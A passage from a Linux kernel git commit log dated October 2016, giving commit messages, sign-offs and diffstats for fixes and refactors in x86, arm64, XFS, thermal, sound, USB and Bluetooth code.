x86 centric, since at least the generic preemption code (asm-generic/preempt.h) assumes that struct thread_info also has a preempt_count member, which apparently was not true for x86. We could add a bit more #ifdefs to solve this problem too, but it seems to be much simpler to make struct thread_info arch specific again. This also makes the conversion to THREAD_INFO_IN_TASK_STRUCT a bit easier for architectures that have a couple of arch specific stuff in their thread_info definition. The arch specific stuff _could_ be moved to thread_struct. However keeping them in thread_info makes it easier: accessing thread_info members is simple, since it is at the beginning of the task_struct, while the thread_struct is at the end. At least on s390 the offsets needed to access members of the thread_struct (with task_struct as base) are too large for various asm instructions. This is not a problem when keeping these members within thread_info. Signed-off-by: Heiko Carstens Signed-off-by: Mark Rutland Acked-by: Thomas Gleixner Cc: Andrew Morton Cc: Andy Lutomirski Cc: Linus Torvalds Cc: Peter Zijlstra Cc: keescook@chromium.org Cc: linux-arch@vger.kernel.org Link: http://lkml.kernel.org/r/1476901693-8492-2-git-send-email-mark.rutland@arm.com Signed-off-by: Ingo Molnar arch/x86/include/asm/thread_info.h | 9 +++++++++ include/linux/thread_info.h | 11 ----------- 2 files changed, 9 insertions(+), 11 deletions(-) commit ed1e7db33c3354e4f8b594738c5e793690213b43 Author: Dmitry Safonov <0x7f454c46@gmail.com> Date: Thu Oct 20 00:53:08 2016 +0300 x86/signal: Remove bogus user_64bit_mode() check from sigaction_compat_abi() The recent introduction of SA_X32/IA32 sa_flags added a check for user_64bit_mode() into sigaction_compat_abi(). user_64bit_mode() is true for native 64-bit processes and x32 processes. Due to that the function returns w/o setting the SA_X32_ABI flag for X32 processes. In consequence the kernel attempts to deliver the signal to the X32 process in native 64-bit mode causing the process to segfault. Remove the check, so the actual check for X32 mode which sets the ABI flag can be reached. There is no side effect for native 64-bit mode. [ tglx: Rewrote changelog ] Fixes: 6846351052e6 ("x86/signal: Add SA_{X32,IA32}_ABI sa_flags") Reported-by: Mikulas Patocka Tested-by: Adam Borowski Signed-off-by: Dmitry Safonov <0x7f454c46@gmail.com> Cc: Dmitry Safonov Cc: Oleg Nesterov Cc: linux-mm@kvack.org Cc: Cyrill Gorcunov Cc: Pavel Emelyanov Link: http://lkml.kernel.org/r/CAJwJo6Z8ZWPqNfT6t-i8GW1MKxQrKDUagQqnZ%2B0%2B697%3DMyVeGg@mail.gmail.com Signed-off-by: Thomas Gleixner Signed-off-by: Ingo Molnar arch/x86/kernel/signal_compat.c | 3 --- 1 file changed, 3 deletions(-) commit b9dce7f1ba01be340975c17bd37a46ec6054bd2b Author: Ard Biesheuvel Date: Thu Oct 20 11:12:57 2016 +0100 arm64: kernel: force ET_DYN ELF type for CONFIG_RELOCATABLE=y GNU ld used to set the ELF file type to ET_DYN for PIE executables, which is the same file type used for shared libraries. However, this was changed recently, and now PIE executables are emitted as ET_EXEC instead. The distinction is only relevant for ELF loaders, and so there is little reason to care about the difference when building the kernel, which is why the change has gone unnoticed until now. However, debuggers do use the ELF binary, and expect ET_EXEC type files to appear in memory at the exact offset described in the ELF metadata. This means source level debugging is no longer possible when KASLR is in effect or when executing the stub. So add the -shared LD option when building with CONFIG_RELOCATABLE=y. This forces the ELF file type to be set to ET_DYN (which is what you get when building with binutils 2.24 and earlier anyway), and has no other ill effects. Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fd5bed48b446d5edfb319b5ecbef7154f29bd73e Author: Marc Zyngier Date: Thu Oct 20 11:21:01 2016 +0100 irqchip/gic: Add missing \n to CPU IF adjustment message It really looks bad without a newline. Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6aecd8715802d23dc6a0859b50c62d2b0a99de3a Author: Hui Wang Date: Thu Oct 20 14:03:33 2016 +0800 ALSA: hda - Fix headset mic detection problem for two Dell laptops They uses the codec ALC255, and have the different pin cfg definition from the ones in the existing pin quirk table. Now adding them into the table to fix the problem. Cc: stable@vger.kernel.org Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai sound/pci/hda/patch_realtek.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 3602ffdee9afa727320d33bda57a6957d72b1df2 Author: Rich Felker Date: Wed Oct 19 17:53:52 2016 +0000 irqchip/jcore: Don't show Kconfig menu item for driver Core drivers for J-Core SoCs will be selected implicitly via CONFIG_SH_JCORE_SOC instead. Based on a corresponding change to the clocksource/timer driver requested by Daniel Lezcano. Signed-off-by: Rich Felker Cc: Marc Zyngier Cc: Jason Cooper Cc: linux-sh@vger.kernel.org Link: http://lkml.kernel.org/r/883a3d17084003e3cf21bab73ec12828fe4ff6c6.1476899495.git.dalias@libc.org Signed-off-by: Thomas Gleixner drivers/irqchip/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit de24e0a108bc48062e1c7acaa97014bce32a919f Author: Johan Hovold Date: Wed Oct 19 15:45:07 2016 +0200 USB: serial: cp210x: fix tiocmget error handling The current tiocmget implementation would fail to report errors up the stack and instead leaked a few bits from the stack as a mask of modem-status flags. Fixes: 39a66b8d22a3 ("[PATCH] USB: CP2101 Add support for flow control") Cc: stable Signed-off-by: Johan Hovold drivers/usb/serial/cp210x.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit d08544127d9fb4505635e3cb6871fd50a42947bd Author: James Morse Date: Tue Oct 18 11:27:48 2016 +0100 arm64: suspend: Reconfigure PSTATE after resume from idle The suspend/resume path in kernel/sleep.S, as used by cpu-idle, does not save/restore PSTATE. As a result of this cpufeatures that were detected and have bits in PSTATE get lost when we resume from idle. UAO gets set appropriately on the next context switch. PAN will be re-enabled next time we return from user-space, but on a preemptible kernel we may run work accessing user space before this point. Add code to re-enable theses two features in __cpu_suspend_exit(). We re-use uao_thread_switch() passing current. Signed-off-by: James Morse Cc: Lorenzo Pieralisi Signed-off-by: Will Deacon arch/arm64/include/asm/exec.h | 3 +++ arch/arm64/kernel/process.c | 3 ++- arch/arm64/kernel/suspend.c | 11 +++++++++++ 3 files changed, 16 insertions(+), 1 deletion(-) commit 7209c868600bd8926e37c10b9aae83124ccc1dd8 Author: James Morse Date: Tue Oct 18 11:27:47 2016 +0100 arm64: mm: Set PSTATE.PAN from the cpu_enable_pan() call Commit 338d4f49d6f7 ("arm64: kernel: Add support for Privileged Access Never") enabled PAN by enabling the 'SPAN' feature-bit in SCTLR_EL1. This means the PSTATE.PAN bit won't be set until the next return to the kernel from userspace. On a preemptible kernel we may schedule work that accesses userspace on a CPU before it has done this. Now that cpufeature enable() calls are scheduled via stop_machine(), we can set PSTATE.PAN from the cpu_enable_pan() call. Add WARN_ON_ONCE(in_interrupt()) to check the PSTATE value we updated is not immediately discarded. Reported-by: Tony Thompson Reported-by: Vladimir Murzin Signed-off-by: James Morse [will: fixed typo in comment] Signed-off-by: Will Deacon arch/arm64/mm/fault.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 2a6dcb2b5f3e21592ca8dfa198dcce7bec09b020 Author: James Morse Date: Tue Oct 18 11:27:46 2016 +0100 arm64: cpufeature: Schedule enable() calls instead of calling them via IPI The enable() call for a cpufeature/errata is called using on_each_cpu(). This issues a cross-call IPI to get the work done. Implicitly, this stashes the running PSTATE in SPSR when the CPU receives the IPI, and restores it when we return. This means an enable() call can never modify PSTATE. To allow PAN to do this, change the on_each_cpu() call to use stop_machine(). This schedules the work on each CPU which allows us to modify PSTATE. This involves changing the protype of all the enable() functions. enable_cpu_capabilities() is called during boot and enables the feature on all online CPUs. This path now uses stop_machine(). CPU features for hotplug'd CPUs are enabled by verify_local_cpu_features() which only acts on the local CPU, and can already modify the running PSTATE as it is called from secondary_start_kernel(). Reported-by: Tony Thompson Reported-by: Vladimir Murzin Signed-off-by: James Morse Cc: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 2 +- arch/arm64/include/asm/processor.h | 6 +++--- arch/arm64/kernel/cpu_errata.c | 3 ++- arch/arm64/kernel/cpufeature.c | 10 +++++++++- arch/arm64/kernel/traps.c | 3 ++- arch/arm64/mm/fault.c | 6 ++++-- 6 files changed, 21 insertions(+), 9 deletions(-) commit 87261d19046aeaeed8eb3d2793fde850ae1b5c9e Author: Andre Przywara Date: Wed Oct 19 14:40:54 2016 +0100 arm64: Cortex-A53 errata workaround: check for kernel addresses Commit 7dd01aef0557 ("arm64: trap userspace "dc cvau" cache operation on errata-affected core") adds code to execute cache maintenance instructions in the kernel on behalf of userland on CPUs with certain ARM CPU errata. It turns out that the address hasn't been checked to be a valid user space address, allowing userland to clean cache lines in kernel space. Fix this by introducing an address check before executing the instructions on behalf of userland. Since the address doesn't come via a syscall parameter, we can't just reject tagged pointers and instead have to remove the tag when checking against the user address limit. Cc: Fixes: 7dd01aef0557 ("arm64: trap userspace "dc cvau" cache operation on errata-affected core") Reported-by: Kristina Martsenko Signed-off-by: Andre Przywara [will: rework commit message + replace access_ok with max_user_addr()] Signed-off-by: Will Deacon arch/arm64/include/asm/uaccess.h | 8 ++++++++ arch/arm64/kernel/traps.c | 27 +++++++++++++++------------ 2 files changed, 23 insertions(+), 12 deletions(-) commit 6add49fff9233a5c43011eb42b521257cbaa9bda Author: Jacob Siverskog Date: Thu Oct 20 09:05:09 2016 +0200 Bluetooth: btwilink: Fix probe return value Probe functions should return 0 on success. This driver's probe returns the value returned by hci_register_dev(), which is the hci index. This works for systems with only one hci device (id = 0) but for systems where the btwilink device ends up with an id larger than 0, things will start to fall apart. Make the probe function return 0 on success. Signed-off-by: Jacob Siverskog Signed-off-by: Marcel Holtmann drivers/bluetooth/btwilink.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d17af5056cf9e9fc05e68832f7c15687fcc12281 Author: Andy Lutomirski Date: Fri Sep 30 10:58:58 2016 -0700 mm: Change vm_is_stack_for_task() to vm_is_stack_for_current() Asking for a non-current task's stack can't be done without races unless the task is frozen in kernel mode. As far as I know, vm_is_stack_for_task() never had a safe non-current use case. The __unused annotation is because some KSTK_ESP implementations ignore their parameter, which IMO is further justification for this patch. Signed-off-by: Andy Lutomirski Acked-by: Thomas Gleixner Cc: Al Viro Cc: Andrew Morton Cc: Borislav Petkov Cc: Brian Gerst Cc: Jann Horn Cc: Kees Cook Cc: Linus Torvalds Cc: Linux API Cc: Peter Zijlstra Cc: Tycho Andersen Link: http://lkml.kernel.org/r/4c3f68f426e6c061ca98b4fc7ef85ffbb0a25b0c.1475257877.git.luto@kernel.org Signed-off-by: Ingo Molnar include/linux/mm.h | 2 +- mm/util.c | 4 +++- security/selinux/hooks.c | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) commit b18cb64ead400c01bf1580eeba330ace51f8087d Author: Andy Lutomirski Date: Fri Sep 30 10:58:57 2016 -0700 fs/proc: Stop trying to report thread stacks This reverts more of: b76437579d13 ("procfs: mark thread stack correctly in proc//maps") ... which was partially reverted by: 65376df58217 ("proc: revert /proc//maps [stack:TID] annotation") Originally, /proc/PID/task/TID/maps was the same as /proc/TID/maps. In current kernels, /proc/PID/maps (or /proc/TID/maps even for threads) shows "[stack]" for VMAs in the mm's stack address range. In contrast, /proc/PID/task/TID/maps uses KSTK_ESP to guess the target thread's stack's VMA. This is racy, probably returns garbage and, on arches with CONFIG_TASK_INFO_IN_THREAD=y, is also crash-prone: KSTK_ESP is not safe to use on tasks that aren't known to be running ordinary process-context kernel code. This patch removes the difference and just shows "[stack]" for VMAs in the mm's stack range. This is IMO much more sensible -- the actual "stack" address really is treated specially by the VM code, and the current thread stack isn't even well-defined for programs that frequently switch stacks on their own. Reported-by: Jann Horn Signed-off-by: Andy Lutomirski Acked-by: Thomas Gleixner Cc: Al Viro Cc: Andrew Morton Cc: Borislav Petkov Cc: Brian Gerst Cc: Johannes Weiner Cc: Kees Cook Cc: Linus Torvalds Cc: Linux API Cc: Peter Zijlstra Cc: Tycho Andersen Link: http://lkml.kernel.org/r/3e678474ec14e0a0ec34c611016753eea2e1b8ba.1475257877.git.luto@kernel.org Signed-off-by: Ingo Molnar Documentation/filesystems/proc.txt | 26 -------------------------- fs/proc/task_mmu.c | 29 ++++++++++------------------- fs/proc/task_nommu.c | 28 ++++++++++------------------ 3 files changed, 20 insertions(+), 63 deletions(-) commit 0a1eb2d474edfe75466be6b4677ad84e5e8ca3f5 Author: Andy Lutomirski Date: Fri Sep 30 10:58:56 2016 -0700 fs/proc: Stop reporting eip and esp in /proc/PID/stat Reporting these fields on a non-current task is dangerous. If the task is in any state other than normal kernel code, they may contain garbage or even kernel addresses on some architectures. (x86_64 used to do this. I bet lots of architectures still do.) With CONFIG_THREAD_INFO_IN_TASK=y, it can OOPS, too. As far as I know, there are no use programs that make any material use of these fields, so just get rid of them. Reported-by: Jann Horn Signed-off-by: Andy Lutomirski Acked-by: Thomas Gleixner Cc: Al Viro Cc: Andrew Morton Cc: Borislav Petkov Cc: Brian Gerst Cc: Kees Cook Cc: Linus Torvalds Cc: Linux API Cc: Peter Zijlstra Cc: Tetsuo Handa Cc: Tycho Andersen Link: http://lkml.kernel.org/r/a5fed4c3f4e33ed25d4bb03567e329bc5a712bcc.1475257877.git.luto@kernel.org Signed-off-by: Ingo Molnar fs/proc/array.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit caef78b6cdeddf4ad364f95910bba6b43b8eb9bf Author: Alex Thorlton Date: Wed Oct 19 20:48:51 2016 -0500 x86/platform/UV: Fix support for EFI_OLD_MEMMAP after BIOS callback updates Some time ago, we brought our UV BIOS callback code up to speed with the new EFI memory mapping scheme, in commit: d1be84a232e3 ("x86/uv: Update uv_bios_call() to use efi_call_virt_pointer()") By leveraging some changes that I made to a few of the EFI runtime callback mechanisms, in commit: 80e75596079f ("efi: Convert efi_call_virt() to efi_call_virt_pointer()") This got everything running smoothly on UV, with the new EFI mapping code. However, this left one, small loose end, in that EFI_OLD_MEMMAP (a.k.a. efi=old_map) will no longer work on UV, on kernels that include the aforementioned changes. At the time this was not a major issue (in fact, it still really isn't), but there's no reason that EFI_OLD_MEMMAP *shouldn't* work on our systems. This commit adds a check into uv_bios_call(), to see if we have the EFI_OLD_MEMMAP bit set in efi.flags. If it is set, we fall back to using our old callback method, which uses efi_call() directly on the __va() of our function pointer. Signed-off-by: Alex Thorlton Acked-by: Matt Fleming Cc: # v4.7 and later Cc: Andy Lutomirski Cc: Ard Biesheuvel Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Dimitri Sivanich Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Masahiro Yamada Cc: Mike Travis Cc: Peter Zijlstra Cc: Russ Anderson Cc: Thomas Gleixner Cc: linux-efi@vger.kernel.org Link: http://lkml.kernel.org/r/1476928131-170101-1-git-send-email-athorlton@sgi.com Signed-off-by: Ingo Molnar arch/x86/platform/uv/bios_uv.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 3105f234e0aba43e44e277c20f9b32ee8add43d4 Author: Eric Ernst Date: Thu Oct 6 08:56:49 2016 -0700 thermal/powerclamp: correct cpu support check Initial logic for checking CPU match resulted in OR of CPU features rather than the intended AND. Updated to use boot_cpu_has macro rather than x86_match_cpu. In addition, MWAIT is the only required CPU feature for idle injection to work. Drop other feature requirements since they are only needed for optimal efficiency. CC: stable@vger.kernel.org #v4.7 Signed-off-by: Eric Ernst Acked-by: Jacob Pan Signed-off-by: Zhang Rui drivers/thermal/intel_powerclamp.c | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) commit 33086a9a3071812a829d4b63bed826736a5d8b17 Author: Srinivas Pandruvada Date: Mon Oct 3 12:36:02 2016 -0700 thermal: intel_pch_thermal: Enable Haswell PCH Added missing support for Haswell PCH thermal sensor. Signed-off-by: Srinivas Pandruvada Signed-off-by: Zhang Rui drivers/thermal/intel_pch_thermal.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit aed3f249f93fe15f16242bbd4e6c3931674b8d91 Author: Srinivas Pandruvada Date: Mon Oct 3 12:36:24 2016 -0700 thermal: intel_pch_thermal: Add an ACPI passive trip On the platforms which has an ACPI companion device associated with PCH thermal device, read passive trip temperature via ACPI _PSV control method. Signed-off-by: Srinivas Pandruvada Signed-off-by: Zhang Rui drivers/thermal/intel_pch_thermal.c | 51 +++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 64e6428ddd00f864e3ca105f914a2b6920c2bc41 Author: Christoph Hellwig Date: Thu Oct 20 15:54:59 2016 +1100 xfs: remove xfs_bunmapi_cow Since no one uses it anymore. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_bmap.c | 22 ---------------------- fs/xfs/libxfs/xfs_bmap.h | 1 - 2 files changed, 23 deletions(-) commit c1112b6e626637ec09319883b63e705a931c398b Author: Christoph Hellwig Date: Thu Oct 20 15:54:45 2016 +1100 xfs: optimize xfs_reflink_end_cow Instead of doing a full extent list search for each extent that is to be deleted using xfs_bmapi_read and then doing another one inside of xfs_bunmapi_cow use the same scheme that xfs_bumapi uses: look up the last extent to be deleted and then use the extent index to walk downward until we are outside the range to be deleted. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 119 ++++++++++++++++++++++++--------------------------- fs/xfs/xfs_trace.h | 1 - 2 files changed, 56 insertions(+), 64 deletions(-) commit 3e0ee78f7a5a8ed43b129e9e4c5c0ff10c71df74 Author: Christoph Hellwig Date: Thu Oct 20 15:54:31 2016 +1100 xfs: optimize xfs_reflink_cancel_cow_blocks Rewrite xfs_reflink_cancel_cow_blocks so that we only do a search for the first extent in the extent list and then iterate over the remaining extents using the extent index, passing the extent we operate on directly to xfs_bmap_del_extent_delay or xfs_bmap_del_extent_cow instead of going through xfs_bunmapi and doing yet another extent list lookup. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 51 +++++++++++++++++++++++---------------------------- 1 file changed, 23 insertions(+), 28 deletions(-) commit fa5c836ca8eb5bad6316ddfc066acbc4e2485356 Author: Christoph Hellwig Date: Thu Oct 20 15:54:14 2016 +1100 xfs: refactor xfs_bunmapi_cow Split out two helpers for deleting delayed or real extents from the COW fork. This allows to call them directly from xfs_reflink_cow_end_io once that function is refactored to iterate the extent tree. It will also allow to reuse the delalloc deletion from xfs_bunmapi in the future. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_bmap.c | 374 ++++++++++++++++++++++++++++------------------- fs/xfs/libxfs/xfs_bmap.h | 5 + fs/xfs/xfs_reflink.c | 5 - 3 files changed, 225 insertions(+), 159 deletions(-) commit 3ba020befef030aaabbd5eb82a09f6ddf02a9542 Author: Christoph Hellwig Date: Thu Oct 20 15:53:50 2016 +1100 xfs: optimize writes to reflink files Instead of reserving space as the first thing in write_begin move it past reading the extent in the data fork. That way we only have to read from the data fork once and can reuse that information for trimming the extent to the shared/unshared boundary. Additionally this allows to easily limit the actual write size to said boundary, and avoid a roundtrip on the ilock. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/xfs_iomap.c | 56 ++++++++++++++------ fs/xfs/xfs_reflink.c | 142 +++++++++++++++++++++------------------------------ fs/xfs/xfs_reflink.h | 4 +- fs/xfs/xfs_trace.h | 3 +- 4 files changed, 100 insertions(+), 105 deletions(-) commit 5f9268ca53aca992106d74edde3e7cf6c1be60a0 Author: Christoph Hellwig Date: Thu Oct 20 15:53:32 2016 +1100 xfs: don't bother looking at the refcount tree for reads There is no need to trim an extent into a shared or non-shared one, or report any flags for plain old reads. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/xfs_iomap.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 62c5ac89de7d5eecdbaa94ca3d554b0bd41578b1 Author: Christoph Hellwig Date: Thu Oct 20 15:52:00 2016 +1100 xfs: handle "raw" delayed extents xfs_reflink_trim_around_shared Delalloc extents in the extent list contain the number of reserved indirect blocks in their startblock value and don't use the magic DELAYSTARTBLOCK constant. Ensure that xfs_reflink_trim_around_shared handles them properly by checking for isnullstartblock(). Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0a0af28cad9a43d90f13c2047bd8ee3d4cffb7f3 Author: Darrick J. Wong Date: Thu Oct 20 15:51:50 2016 +1100 xfs: add xfs_trim_extent This helpers allows to trim an extent to a subset of it's original range while making sure the block numbers in it remain valid, In the future xfs_trim_extent and xfs_bmapi_trim_map should probably be merged in some form. Signed-off-by: Darrick J. Wong [hch: split from a previous patch from Darrick, moved around and added support for "raw" delayed extents"] Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_bmap.c | 33 +++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_bmap.h | 2 ++ 2 files changed, 35 insertions(+) commit d33fd776f992332be110f6ceca6dad60cb5d513f Author: Christoph Hellwig Date: Thu Oct 20 15:51:28 2016 +1100 iomap: add IOMAP_REPORT This allows the file system to tell a FIEMAP from a read operation, and thus avoids the need to report flags that aren't actually used in the read path. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Reviewed-by: Brian Foster Signed-off-by: Dave Chinner fs/iomap.c | 2 +- include/linux/iomap.h | 17 +++++++++++------ 2 files changed, 12 insertions(+), 7 deletions(-) commit 5faaf4fa0a20d38edc4df57baf24ea35b7e91178 Author: Christoph Hellwig Date: Thu Oct 20 15:50:07 2016 +1100 xfs: merge xfs_reflink_remap_range and xfs_file_share_range There is no clear division of responsibility between those functions, so just merge them into one to keep the code simple. Also move xfs_file_wait_for_io to xfs_reflink.c together with its only caller. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 132 +------------------------------------- fs/xfs/xfs_reflink.c | 178 +++++++++++++++++++++++++++++++++++++++------------ fs/xfs/xfs_reflink.h | 7 +- 3 files changed, 143 insertions(+), 174 deletions(-) commit ec40759902556f21f37641ad9f19d02c4dd4b555 Author: Christoph Hellwig Date: Thu Oct 20 15:49:55 2016 +1100 xfs: remove xfs_file_wait_for_io filemap_write_and_wait_range operates on full pages, so there is no need for the rounding operations. Additionally this allows us to micro-optimize by skipping the second inode_dio_wait for a intra-file clone. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 39 ++++++++++----------------------------- 1 file changed, 10 insertions(+), 29 deletions(-) commit 576177818e6f1e65f6109ed4a8fae8b60131c861 Author: Christoph Hellwig Date: Thu Oct 20 15:49:19 2016 +1100 xfs: move inode locking from xfs_reflink_remap_range to xfs_file_share_range We need the iolock protection to stabilizie the IS_SWAPFILE and IS_IMMUTABLE values, as well as preventing new buffered writers re-dirtying the file data that we just wrote out. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 62 ++++++++++++++++++++++++++++++++++------------------ fs/xfs/xfs_reflink.c | 15 ------------- 2 files changed, 41 insertions(+), 36 deletions(-) commit a62e82b35b97e60e9e22a4e303900f342139822f Author: Christoph Hellwig Date: Thu Oct 20 15:49:03 2016 +1100 xfs: fix the same_inode check in xfs_file_share_range The VFS i_ino is an unsigned long, while XFS inode numbers are 64-bit wide, so checking i_ino for equality could lead to rate false positives on 32-bit architectures. Just compare the inode pointers themselves to be safe. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4fbc2c65255f77b315a4ee3ccac397d677a35737 Author: Christoph Hellwig Date: Thu Oct 20 15:48:54 2016 +1100 xfs: remove the same fs check from xfs_file_share_range The VFS already does the check, and the placement of this duplicate is in the way of the following locking rework. Signed-off-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 3 --- 1 file changed, 3 deletions(-) commit 8cdcc8102c0cfad20513ed1bfb96e0e9963928a8 Author: Roger Willcocks Date: Thu Oct 20 15:48:38 2016 +1100 libxfs: v3 inodes are only valid on crc-enabled filesystems xfs_repair was not detecting that version 3 inodes are invalid for for non-CRC filesystems. The result is specific inode corruptions go undetected and hence aren't repaired if only the version number is out of range. The core of the problem is that the XFS_DINODE_GOOD_VERSION() macro doesn't know that valid inode versions are dependent on a superblock version number. Fix this in libxfs, and propagate the new function out into the rest of xfsprogs to fix the issue. [Darrick: port to kernel from xfsprogs] Reported-by: Leslie Rhorer Signed-off-by: Roger Willcocks Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_format.h | 1 - fs/xfs/libxfs/xfs_inode_buf.c | 13 ++++++++++++- fs/xfs/libxfs/xfs_inode_buf.h | 2 ++ 3 files changed, 14 insertions(+), 2 deletions(-) commit 58d789678546d46d7bbd809dd7dab417c0f23655 Author: Darrick J. Wong Date: Thu Oct 20 15:46:18 2016 +1100 libxfs: clean up _calc_dquots_per_chunk The function xfs_calc_dquots_per_chunk takes a parameter in units of basic blocks. The kernel seems to get the units wrong, but userspace got 'fixed' by commenting out the unnecessary conversion. Fix both. cc: Signed-off-by: Darrick J. Wong Reviewed-by: Eric Sandeen Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_dquot_buf.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d099245297e28fc9f8493edd9d5a1f0967a72511 Author: Darrick J. Wong Date: Thu Oct 20 15:45:40 2016 +1100 xfs: unset MS_ACTIVE if mount fails As part of the inode block map intent log item recovery process, we had to set the IRECOVERY flag to prevent an unlinked inode from being truncated during the first iput call. This required us to set MS_ACTIVE so that iput puts the inode on the lru instead of immediately evicting the inode. Unfortunately, if the mount fails later on, the inodes that have been loaded (root dir and realtime) actually need to be evicted since we're aborting the mount. If we don't clear MS_ACTIVE in the failure step, those inodes are not evicted and therefore leak. The leak was found by running xfs/130 and rmmoding xfs immediately after the test. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/xfs/xfs_mount.c | 1 + 1 file changed, 1 insertion(+) commit fe23759eaf2f6540de20c1623f066aad967ff9c9 Author: Eric Sandeen Date: Thu Oct 20 15:44:53 2016 +1100 xfs: remove pointless error goto in xfs_bmap_remap_alloc The commit: f65306ea xfs: map an inode's offset to an exact physical block added a pointless error0: target; remove it. Addresses-Coverity-Id: 1373865 Signed-off-by: Eric Sandeen Reviewed-by: Bill O'Donnell Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_bmap.c | 3 --- 1 file changed, 3 deletions(-) commit 0ee7a3f6b5b2f22bb69bfc6c60d0ea0777003098 Author: Christoph Hellwig Date: Thu Oct 20 15:44:14 2016 +1100 xfs: don't take the IOLOCK exclusive for direct I/O page invalidation XFS historically took the iolock exclusive when invalidating pages before direct I/O operations to protect against writeback starvations. But this writeback starvation issues has been fixed a long time ago in the core writeback code, and all other file systems manage to do without the exclusive lock. Convert XFS over to avoid the exclusive lock in this case, and also move to range invalidations like done by the other file systems. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara Reviewed-by: Carlos Maiolino Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 98 +++++++++++++++++-------------------------------------- 1 file changed, 30 insertions(+), 68 deletions(-) commit f1b8243c55ca6fd2a3898e2f586b8cfcfff684bb Author: Eric Biggers Date: Thu Oct 20 15:42:30 2016 +1100 xfs: add some 'static' annotations sparse reported that several variables and a function were not forward-declared anywhere and therefore should be 'static'. Found with sparse by running 'make C=2 CF=-D__CHECK_ENDIAN__ fs/xfs/' Signed-off-by: Eric Biggers Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_btree.c | 2 +- fs/xfs/xfs_sysfs.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 1be7f9be0efa4e90547f50b8188f4e70710a1173 Author: Geert Uytterhoeven Date: Thu Oct 20 15:41:48 2016 +1100 xfs: Fix uninitialized variable in xfs_reflink_reserve_cow_range() with gcc 4.1.2: fs/xfs/xfs_reflink.c: In function xfs_reflink_reserve_cow_range: fs/xfs/xfs_reflink.c:327: warning: error may be used uninitialized in this function Indeed, if "count" is zero, the function will return an uninitialized error value. While "count" is unlikely to be zero, this function is called through the public iomap API. Hence fix this by preinitializing error to zero. Fixes: 2a06705cd5954030 ("xfs: create delalloc extents in CoW fork") Signed-off-by: Geert Uytterhoeven Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1d55a4bfd080ff4c6c96acfccfb7cdd2615ed6c2 Author: Colin Ian King Date: Thu Oct 20 15:40:55 2016 +1100 xfs: remove redundant assignment of ifp Remove redundant ifp = ifp statement, it does nothing. Found with static analysis by CoverityScan. Signed-off-by: Colin Ian King Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner 